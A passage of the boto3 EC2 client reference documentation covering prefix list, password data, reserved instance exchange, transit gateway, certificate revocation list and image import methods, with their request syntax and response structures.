'SnapshotId': 'snap-02594938353ef77d3', + 'VolumeSize': 8, + 'VolumeType': 'gp2', + }, + }, + ], + 'EbsOptimized': False, + 'ImageId': 'ami-32cf7b4a', + 'InstanceType': 't2.medium', + 'KeyName': 'my-key-pair', + 'Monitoring': { + 'Enabled': False, + }, + 'NetworkInterfaces': [ + { + 'AssociatePublicIpAddress': False, + 'DeleteOnTermination': True, + 'Description': '', + 'DeviceIndex': 0, + 'Groups': [ + 'sg-d14e1bb4', + ], + 'Ipv6Addresses': [ + ], + 'NetworkInterfaceId': 'eni-4338b5a9', + 'PrivateIpAddress': '10.0.3.233', + 'PrivateIpAddresses': [ + { + 'Primary': True, + 'PrivateIpAddress': '10.0.3.233', + }, + ], + 'SubnetId': 'subnet-5264e837', + }, + ], + 'Placement': { + 'AvailabilityZone': 'us-east-2b', + 'GroupName': '', + 'Tenancy': 'default', + }, + }, + 'ResponseMetadata': { + '...': '...', + }, +} + +get_managed_prefix_list_associations(kwargs_) + +Gets information about the resources that are associated with the specified managed prefix list. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetManagedPrefixListAssociations) + +**Request Syntax** + +response = client.get_managed_prefix_list_associations( + DryRun=True|False, + PrefixListId='string', + MaxResults=123, + NextToken='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **PrefixListId** (_string_) -- + + **[REQUIRED]** + + The ID of the prefix list. + +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'PrefixListAssociations': [ + { + 'ResourceId': 'string', + 'ResourceOwner': 'string' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **PrefixListAssociations** _(list) --_ + + Information about the associations. + + * _(dict) --_ + + Describes the resource with which a prefix list is associated. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + * **ResourceOwner** _(string) --_ + + The owner of the resource. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +get_managed_prefix_list_entries(kwargs_) + +Gets information about the entries for a specified managed prefix list. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetManagedPrefixListEntries) + +**Request Syntax** + +response = client.get_managed_prefix_list_entries( + DryRun=True|False, + PrefixListId='string', + TargetVersion=123, + MaxResults=123, + NextToken='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **PrefixListId** (_string_) -- + + **[REQUIRED]** + + The ID of the prefix list. + +* **TargetVersion** (_integer_) -- The version of the prefix list for which to return the entries. The default is the current version. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Entries': [ + { + 'Cidr': 'string', + 'Description': 'string' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **Entries** _(list) --_ + + Information about the prefix list entries. + + * _(dict) --_ + + Describes a prefix list entry. + + * **Cidr** _(string) --_ + + The CIDR block. + + * **Description** _(string) --_ + + The description. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +get_paginator(_operation_name_) + +Create a paginator for an operation. + +Parameters + +**operation_name** (_string_) -- The operation name. This is the same name as the method name on the client. For example, if the method name is create_foo, and you'd normally invoke the operation as client.create_foo(**kwargs), if the create_foo operation can be paginated, you can use the call client.get_paginator("create_foo"). + +Raises OperationNotPageableError + +Raised if the operation is not pageable. You can use the client.can_paginate method to check if an operation is pageable. + +Return type + +L{botocore.paginate.Paginator} + +Returns + +A paginator object. + +get_password_data(kwargs_) + +Retrieves the encrypted administrator password for a running Windows instance. + +The Windows password is generated at boot by the EC2Config service or EC2Launch scripts (Windows Server 2016 and later). This usually only happens the first time an instance is launched. For more information, see [EC2Config](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/UsingConfig_WinAMI.html) and [EC2Launch](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ec2launch.html) in the Amazon Elastic Compute Cloud User Guide. + +For the EC2Config service, the password is not generated for rebundled AMIs unless Ec2SetPassword is enabled before bundling. + +The password is encrypted using the key pair that you specified when you launched the instance. You must provide the corresponding key pair file. + +When you launch an instance, password generation and encryption may take a few minutes. If you try to retrieve the password before it's available, the output returns an empty string. We recommend that you wait up to 15 minutes after launching an instance before trying to retrieve the generated password. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetPasswordData) + +**Request Syntax** + +response = client.get_password_data( + InstanceId='string', + DryRun=True|False +) + +Parameters + +* **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the Windows instance. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceId': 'string', + 'PasswordData': 'string', + 'Timestamp': datetime(2015, 1, 1) +} + +**Response Structure** + +* _(dict) --_ + + * **InstanceId** _(string) --_ + + The ID of the Windows instance. + + * **PasswordData** _(string) --_ + + The password of the instance. Returns an empty string if the password is not available. + + * **Timestamp** _(datetime) --_ + + The time the data was last updated. + + +get_reserved_instances_exchange_quote(kwargs_) + +Returns a quote and exchange information for exchanging one or more specified Convertible Reserved Instances for a new Convertible Reserved Instance. If the exchange cannot be performed, the reason is returned in the response. Use AcceptReservedInstancesExchangeQuote to perform the exchange. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetReservedInstancesExchangeQuote) + +**Request Syntax** + +response = client.get_reserved_instances_exchange_quote( + DryRun=True|False, + ReservedInstanceIds=[ + 'string', + ], + TargetConfigurations=[ + { + 'InstanceCount': 123, + 'OfferingId': 'string' + }, + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **ReservedInstanceIds** (_list_) -- + + **[REQUIRED]** + + The IDs of the Convertible Reserved Instances to exchange. + + * _(string) --_ +* **TargetConfigurations** (_list_) -- + + The configuration of the target Convertible Reserved Instance to exchange for your current Convertible Reserved Instances. + + * _(dict) --_ + + Details about the target configuration. + + * **InstanceCount** _(integer) --_ + + The number of instances the convertible Reserved Instance offering can be applied to. This parameter is reserved and cannot be specified in a request + + * **OfferingId** _(string) --_ **[REQUIRED]** + + The Convertible Reserved Instance offering ID. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'CurrencyCode': 'string', + 'IsValidExchange': True|False, + 'OutputReservedInstancesWillExpireAt': datetime(2015, 1, 1), + 'PaymentDue': 'string', + 'ReservedInstanceValueRollup': { + 'HourlyPrice': 'string', + 'RemainingTotalValue': 'string', + 'RemainingUpfrontValue': 'string' + }, + 'ReservedInstanceValueSet': [ + { + 'ReservationValue': { + 'HourlyPrice': 'string', + 'RemainingTotalValue': 'string', + 'RemainingUpfrontValue': 'string' + }, + 'ReservedInstanceId': 'string' + }, + ], + 'TargetConfigurationValueRollup': { + 'HourlyPrice': 'string', + 'RemainingTotalValue': 'string', + 'RemainingUpfrontValue': 'string' + }, + 'TargetConfigurationValueSet': [ + { + 'ReservationValue': { + 'HourlyPrice': 'string', + 'RemainingTotalValue': 'string', + 'RemainingUpfrontValue': 'string' + }, + 'TargetConfiguration': { + 'InstanceCount': 123, + 'OfferingId': 'string' + } + }, + ], + 'ValidationFailureReason': 'string' +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of GetReservedInstancesExchangeQuote. + + * **CurrencyCode** _(string) --_ + + The currency of the transaction. + + * **IsValidExchange** _(boolean) --_ + + If true , the exchange is valid. If false , the exchange cannot be completed. + + * **OutputReservedInstancesWillExpireAt** _(datetime) --_ + + The new end date of the reservation term. + + * **PaymentDue** _(string) --_ + + The total true upfront charge for the exchange. + + * **ReservedInstanceValueRollup** _(dict) --_ + + The cost associated with the Reserved Instance. + + * **HourlyPrice** _(string) --_ + + The hourly rate of the reservation. + + * **RemainingTotalValue** _(string) --_ + + The balance of the total value (the sum of remainingUpfrontValue + hourlyPrice * number of hours remaining). + + * **RemainingUpfrontValue** _(string) --_ + + The remaining upfront cost of the reservation. + + * **ReservedInstanceValueSet** _(list) --_ + + The configuration of your Convertible Reserved Instances. + + * _(dict) --_ + + The total value of the Convertible Reserved Instance. + + * **ReservationValue** _(dict) --_ + + The total value of the Convertible Reserved Instance that you are exchanging. + + * **HourlyPrice** _(string) --_ + + The hourly rate of the reservation. + + * **RemainingTotalValue** _(string) --_ + + The balance of the total value (the sum of remainingUpfrontValue + hourlyPrice * number of hours remaining). + + * **RemainingUpfrontValue** _(string) --_ + + The remaining upfront cost of the reservation. + + * **ReservedInstanceId** _(string) --_ + + The ID of the Convertible Reserved Instance that you are exchanging. + + * **TargetConfigurationValueRollup** _(dict) --_ + + The cost associated with the Reserved Instance. + + * **HourlyPrice** _(string) --_ + + The hourly rate of the reservation. + + * **RemainingTotalValue** _(string) --_ + + The balance of the total value (the sum of remainingUpfrontValue + hourlyPrice * number of hours remaining). + + * **RemainingUpfrontValue** _(string) --_ + + The remaining upfront cost of the reservation. + + * **TargetConfigurationValueSet** _(list) --_ + + The values of the target Convertible Reserved Instances. + + * _(dict) --_ + + The total value of the new Convertible Reserved Instances. + + * **ReservationValue** _(dict) --_ + + The total value of the Convertible Reserved Instances that make up the exchange. This is the sum of the list value, remaining upfront price, and additional upfront cost of the exchange. + + * **HourlyPrice** _(string) --_ + + The hourly rate of the reservation. + + * **RemainingTotalValue** _(string) --_ + + The balance of the total value (the sum of remainingUpfrontValue + hourlyPrice * number of hours remaining). + + * **RemainingUpfrontValue** _(string) --_ + + The remaining upfront cost of the reservation. + + * **TargetConfiguration** _(dict) --_ + + The configuration of the Convertible Reserved Instances that make up the exchange. + + * **InstanceCount** _(integer) --_ + + The number of instances the Convertible Reserved Instance offering can be applied to. This parameter is reserved and cannot be specified in a request + + * **OfferingId** _(string) --_ + + The ID of the Convertible Reserved Instance offering. + + * **ValidationFailureReason** _(string) --_ + + Describes the reason why the exchange cannot be completed. + + +get_transit_gateway_attachment_propagations(kwargs_) + +Lists the route tables to which the specified resource attachment propagates routes. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetTransitGatewayAttachmentPropagations) + +**Request Syntax** + +response = client.get_transit_gateway_attachment_propagations( + TransitGatewayAttachmentId='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayAttachmentId** (_string_) -- + + **[REQUIRED]** + + The ID of the attachment. + +* **Filters** (_list_) -- + + One or more filters. The possible values are: + + * transit-gateway-route-table-id - The ID of the transit gateway route table. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayAttachmentPropagations': [ + { + 'TransitGatewayRouteTableId': 'string', + 'State': 'enabling'|'enabled'|'disabling'|'disabled' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayAttachmentPropagations** _(list) --_ + + Information about the propagation route tables. + + * _(dict) --_ + + Describes a propagation route table. + + * **TransitGatewayRouteTableId** _(string) --_ + + The ID of the propagation route table. + + * **State** _(string) --_ + + The state of the propagation route table. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +get_transit_gateway_multicast_domain_associations(kwargs_)definition") + +Gets information about the associations for the transit gateway multicast domain. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetTransitGatewayMulticastDomainAssociations) + +**Request Syntax** + +response = client.get_transit_gateway_multicast_domain_associations( + TransitGatewayMulticastDomainId='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayMulticastDomainId** (_string_) -- The ID of the transit gateway multicast domain. +* **Filters** (_list_) -- + + One or more filters. The possible values are: + + * resource-id - The ID of the resource. + * resource-type - The type of resource. The valid value is: vpc . + * state - The state of the subnet association. Valid values are associated | associating | disassociated | disassociating . + * subnet-id - The ID of the subnet. + * transit-gateway-attachment-id - The id of the transit gateway attachment. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'MulticastDomainAssociations': [ + { + 'TransitGatewayAttachmentId': 'string', + 'ResourceId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering', + 'ResourceOwnerId': 'string', + 'Subnet': { + 'SubnetId': 'string', + 'State': 'pendingAcceptance'|'associating'|'associated'|'disassociating'|'disassociated'|'rejected'|'failed' + } + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **MulticastDomainAssociations** _(list) --_ + + Information about the multicast domain associations. + + * _(dict) --_ + + Describes the resources associated with the transit gateway multicast domain. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the transit gateway attachment. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + * **ResourceType** _(string) --_ + + The type of resource, for example a VPC attachment. + + * **ResourceOwnerId** _(string) --_ + + The ID of the AWS account that owns the transit gateway multicast domain association resource. + + * **Subnet** _(dict) --_ + + The subnet associated with the transit gateway multicast domain. + + * **SubnetId** _(string) --_ + + The ID of the subnet. + + * **State** _(string) --_ + + The state of the subnet association. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +get_transit_gateway_prefix_list_references(kwargs_) + +Gets information about the prefix list references in a specified transit gateway route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetTransitGatewayPrefixListReferences) + +**Request Syntax** + +response = client.get_transit_gateway_prefix_list_references( + TransitGatewayRouteTableId='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayRouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the transit gateway route table. + +* **Filters** (_list_) -- + + One or more filters. The possible values are: + + * attachment.resource-id - The ID of the resource for the attachment. + * attachment.resource-type - The type of resource for the attachment. Valid values are vpc | vpn | direct-connect-gateway | peering . + * attachment.transit-gateway-attachment-id - The ID of the attachment. + * is-blackhole - Whether traffic matching the route is blocked (true | false ). + * prefix-list-id - The ID of the prefix list. + * prefix-list-owner-id - The ID of the owner of the prefix list. + * state - The state of the prefix list reference (pending | available | modifying | deleting ). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayPrefixListReferences': [ + { + 'TransitGatewayRouteTableId': 'string', + 'PrefixListId': 'string', + 'PrefixListOwnerId': 'string', + 'State': 'pending'|'available'|'modifying'|'deleting', + 'Blackhole': True|False, + 'TransitGatewayAttachment': { + 'TransitGatewayAttachmentId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering', + 'ResourceId': 'string' + } + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayPrefixListReferences** _(list) --_ + + Information about the prefix list references. + + * _(dict) --_ + + Describes a prefix list reference. + + * **TransitGatewayRouteTableId** _(string) --_ + + The ID of the transit gateway route table. + + * **PrefixListId** _(string) --_ + + The ID of the prefix list. + + * **PrefixListOwnerId** _(string) --_ + + The ID of the prefix list owner. + + * **State** _(string) --_ + + The state of the prefix list reference. + + * **Blackhole** _(boolean) --_ + + Indicates whether traffic that matches this route is dropped. + + * **TransitGatewayAttachment** _(dict) --_ + + Information about the transit gateway attachment. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + * **ResourceType** _(string) --_ + + The resource type. Note that the tgw-peering resource type has been deprecated. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +get_transit_gateway_route_table_associations(kwargs_) + +Gets information about the associations for the specified transit gateway route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetTransitGatewayRouteTableAssociations) + +**Request Syntax** + +response = client.get_transit_gateway_route_table_associations( + TransitGatewayRouteTableId='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayRouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the transit gateway route table. + +* **Filters** (_list_) -- + + One or more filters. The possible values are: + + * resource-id - The ID of the resource. + * resource-type - The resource type. Valid values are vpc | vpn | direct-connect-gateway | peering | connect . + * transit-gateway-attachment-id - The ID of the attachment. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Associations': [ + { + 'TransitGatewayAttachmentId': 'string', + 'ResourceId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering', + 'State': 'associating'|'associated'|'disassociating'|'disassociated' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **Associations** _(list) --_ + + Information about the associations. + + * _(dict) --_ + + Describes an association between a route table and a resource attachment. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + * **ResourceType** _(string) --_ + + The resource type. Note that the tgw-peering resource type has been deprecated. + + * **State** _(string) --_ + + The state of the association. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +get_transit_gateway_route_table_propagations(kwargs_) + +Gets information about the route table propagations for the specified transit gateway route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetTransitGatewayRouteTablePropagations) + +**Request Syntax** + +response = client.get_transit_gateway_route_table_propagations( + TransitGatewayRouteTableId='string', + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + DryRun=True|False +) + +Parameters + +* **TransitGatewayRouteTableId** (_string_) -- + + **[REQUIRED]** + + The ID of the transit gateway route table. + +* **Filters** (_list_) -- + + One or more filters. The possible values are: + + * resource-id - The ID of the resource. + * resource-type - The resource type. Valid values are vpc | vpn | direct-connect-gateway | peering | connect . + * transit-gateway-attachment-id - The ID of the attachment. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. +* **NextToken** (_string_) -- The token for the next page of results. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TransitGatewayRouteTablePropagations': [ + { + 'TransitGatewayAttachmentId': 'string', + 'ResourceId': 'string', + 'ResourceType': 'vpc'|'vpn'|'direct-connect-gateway'|'connect'|'peering'|'tgw-peering', + 'State': 'enabling'|'enabled'|'disabling'|'disabled' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **TransitGatewayRouteTablePropagations** _(list) --_ + + Information about the route table propagations. + + * _(dict) --_ + + Describes a route table propagation. + + * **TransitGatewayAttachmentId** _(string) --_ + + The ID of the attachment. + + * **ResourceId** _(string) --_ + + The ID of the resource. + + * **ResourceType** _(string) --_ + + The type of resource. Note that the tgw-peering resource type has been deprecated. + + * **State** _(string) --_ + + The state of the resource. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +get_waiter(_waiter_name_) + +Returns an object that can wait for some condition. + +Parameters + +**waiter_name** (_str_) -- The name of the waiter to get. See the waiters section of the service docs for a list of available waiters. + +Returns + +The specified waiter object. + +Return type + +botocore.waiter.Waiter + +import_client_vpn_client_certificate_revocation_list(kwargs_)this definition") + +Uploads a client certificate revocation list to the specified Client VPN endpoint. Uploading a client certificate revocation list overwrites the existing client certificate revocation list. + +Uploading a client certificate revocation list resets existing client connections. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ImportClientVpnClientCertificateRevocationList) + +**Request Syntax** + +response = client.import_client_vpn_client_certificate_revocation_list( + ClientVpnEndpointId='string', + CertificateRevocationList='string', + DryRun=True|False +) + +Parameters + +* **ClientVpnEndpointId** (_string_) -- + + **[REQUIRED]** + + The ID of the Client VPN endpoint to which the client certificate revocation list applies. + +* **CertificateRevocationList** (_string_) -- + + **[REQUIRED]** + + The client certificate revocation list file. For more information, see [Generate a Client Certificate Revocation List](https://docs.aws.amazon.com/vpn/latest/clientvpn-admin/cvpn-working-certificates.html#cvpn-working-certificates-generate) in the _AWS Client VPN Administrator Guide_ . + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +import_image(kwargs_) + +Import single or multi-volume disk images or EBS snapshots into an Amazon Machine Image (AMI). For more information, see [Importing a VM as an Image Using VM Import/Export](https://docs.aws.amazon.com/vm-import/latest/userguide/vmimport-image-import.html) in the _VM Import/Export User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ImportImage) + +**Request Syntax** + +response = client.import_image( + Architecture='string', + ClientData={ + 'Comment': 'string', + 'UploadEnd': datetime(2015, 1, 1), + 'UploadSize': 123.0, + 'UploadStart': datetime(2015, 1, 1) + }, + ClientToken='string', + Description='string', + DiskContainers=[ + { + 'Description': 'string', + 'DeviceName': 'string', + 'Format': 'string', + 'SnapshotId': 'string', + 'Url': 'string', + 'UserBucket': { + 'S3Bucket': 'string', + 'S3Key': 'string' + } + }, + ], + DryRun=True|False, + Encrypted=True|False, + Hypervisor='string', + KmsKeyId='string', + LicenseType='string', + Platform='string', + RoleName='string', + LicenseSpecifications=[ + { + 'LicenseConfigurationArn': 'string' + }, + ], + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ] +) + +Parameters + +* **Architecture** (_string_) -- + + The architecture of the virtual machine. + + Valid values: i386 | x86_64 | arm64 + +* **ClientData** (_dict_) -- + + The client-specific data. + + * **Comment** _(string) --_ + + A user-defined comment about the disk upload. + + * **UploadEnd** _(datetime) --_ + + The time that the disk upload ends. + + * **UploadSize** _(float) --_ + + The size of the uploaded disk image, in GiB. + + * **UploadStart** _(datetime) --_ + + The time that the disk upload starts. + +* **ClientToken** (_string_) -- The token to enable idempotency for VM import requests. +* **Description** (_string_) -- A description string for the import image task. +* **DiskContainers** (_list_) -- + + Information about the disk containers. + + * _(dict) --_ + + Describes the disk container object for an import image task. + + * **Description** _(string) --_ + + The description of the disk image. + + * **DeviceName** _(string) --_ + + The block device mapping for the disk. + + * **Format** _(string) --_ + + The format of the disk image being imported. + + Valid values: OVA | VHD | VHDX [|](#id526)VMDK + + * **SnapshotId** _(string) --_ + + The ID of the EBS snapshot to be used for importing the snapshot. + + * **Url** _(string) --_ + + The URL to the Amazon S3-based disk image being imported. The URL can either be a https URL ([https://](https://)..) or an Amazon S3 URL (s3://..) + + * **UserBucket** _(dict) --_ + + The S3 bucket for the disk image. + + * **S3Bucket** _(string) --_ + + The name of the Amazon S3 bucket where the disk image is located. + + * **S3Key** _(string) --_ + + The file name of the disk image. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Encrypted** (_boolean_) -- Specifies whether the destination AMI of the imported image should be encrypted. The default CMK for EBS is used unless you specify a non-default AWS Key Management Service (AWS KMS) CMK using KmsKeyId . For more information, see [Amazon EBS Encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic 